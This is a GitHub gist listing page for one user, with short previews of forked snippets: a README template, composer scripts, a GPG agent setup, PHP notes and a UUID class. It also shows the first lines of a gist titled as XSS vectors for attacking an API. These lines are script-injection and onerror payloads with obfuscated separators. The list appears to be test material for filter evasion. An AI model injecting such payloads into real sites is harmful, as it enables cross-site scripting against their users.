Skip to content

Instantly share code, notes, and snippets.

Enjoy coding ❤️

Veaceslav Medvedev slavcodev

Enjoy coding ❤️
Block or report user

Report or block slavcodev

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@slavcodev
slavcodev / README-Template.md
Created Apr 23, 2019 — forked from PurpleBooth/README-Template.md
A template to make good README.md
View README-Template.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@slavcodev
slavcodev / 666_lines_of_XSS_vectors.html
Created Mar 20, 2019 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@slavcodev
slavcodev / osx_bootstrap.sh
Created Dec 24, 2018 — forked from codeinthehole/osx_bootstrap.sh
Script to install stuff I want on a new OSX machine
View osx_bootstrap.sh
#!/usr/bin/env bash
#
# Bootstrap script for setting up a new OSX machine
#
# This should be idempotent so it can be run multiple times.
#
# Some apps don't have a cask and so still need to be installed by hand. These
# include:
#
# - Twitter (app store)
@slavcodev
slavcodev / composer.json
Last active Feb 28, 2018
Composer useful scripts
View composer.json
{
"scripts": {
"test": "phpunit",
"test-coverage": "phpunit --coverage-clover build/logs/clover.xml",
"show-coverage": "phpunit --coverage-text=php://stdout",
"report-coverage": "phpunit --coverage-html build/logs/report",
"diff-files": "f() { git diff --name-only --diff-filter=ACMRTUXB $1 | grep -ivE composer\\.\\|\\.git ; }; f",
"cs": "f() { if test \"$1\"; then php-cs-fixer fix --dry-run --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
"cs-fix": "f() { if test \"$1\"; then php-cs-fixer fix --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
@slavcodev
slavcodev / objects_arrays.md
Created Apr 4, 2017 — forked from nikic/objects_arrays.md
Post explaining why objects often use less memory than arrays (in PHP)
View objects_arrays.md

Why objects (usually) use less memory than arrays in PHP

This is just a small post in response to [this tweet][tweet] by Julien Pauli (who by the way is the release manager for PHP 5.5). In the tweet he claims that objects use more memory than arrays in PHP. Even though it can be like that, it's not true in most cases. (Note: This only applies to PHP 5.4 or newer.)

The reason why it's easy to assume that objects are larger than arrays is because objects can be seen as an array of properties and a bit of additional information (like the class it belongs to). And as array + additional info > array it obviously follows that objects are larger. The thing is that in most cases PHP can optimize the array part of it away. So how does that work?

The key here is that objects usually have a predefined set of keys, whereas arrays don't:

@slavcodev
slavcodev / .profile
Created Feb 2, 2017 — forked from bmhatfield/.profile
Automatic Git commit signing with GPG on OSX
View .profile
# In order for gpg to find gpg-agent, gpg-agent must be running, and there must be an env
# variable pointing GPG to the gpg-agent socket. This little script, which must be sourced
# in your shell's init script (ie, .bash_profile, .zshrc, whatever), will either start
# gpg-agent or set up the GPG_AGENT_INFO variable if it's already running.
# Add the following to your shell init to set up gpg-agent automatically for every shell
if [ -f ~/.gnupg/.gpg-agent-info ] && [ -n "$(pgrep gpg-agent)" ]; then
source ~/.gnupg/.gpg-agent-info
export GPG_AGENT_INFO
else
View IoC.md

Инверсия управления (англ. Inversion of Control, IoC) — важный принцип объектно-ориентированного программирования, используемый для уменьшения зацепления в компьютерных программах. Также архитектурное решение интеграции, упрощающее расширение возможностей системы, при котором контроль над потоком управления программы остаётся за каркасом - ru.wikipedia.org


Сегодня хотелось бы поговорить о реализации инверсии управления в Laravel. Это один из самых важных аспектов организации слабой связанности компонентов в любимом нами фреймворке, и его понимание играет ключевую роль при создании качественных пакетов и приложений.

Когда мы говорим об IoC в Laravel, то следует знать, что он стоит на трех китах:

  1. Внедрение зависимостей (Dependency Injection)
@slavcodev
slavcodev / 1_phpunit-api.md
Created Apr 7, 2016 — forked from loonies/1_phpunit-api.md
PHPUnit Cheat Sheet
View 1_phpunit-api.md

PHPUnit API reference

  • version 3.6

TODO

Check those constraints:

$this->anything()
@slavcodev
slavcodev / README.md
Created Feb 16, 2016 — forked from hofmannsven/README.md
My simply Git Cheatsheet
@slavcodev
slavcodev / UUID.php
Last active Aug 29, 2015 — forked from dahnielson/UUID.php
Pure PHP UUID generator
View UUID.php
<?php
/**
* UUID class
*
* The following class generates VALID RFC 4122 COMPLIANT
* Universally Unique IDentifiers (UUID) version 3, 4 and 5.
*
* UUIDs generated validates using OSSP UUID Tool, and output
* for named-based UUIDs are exactly the same. This is a pure
* PHP implementation.
You can’t perform that action at this time.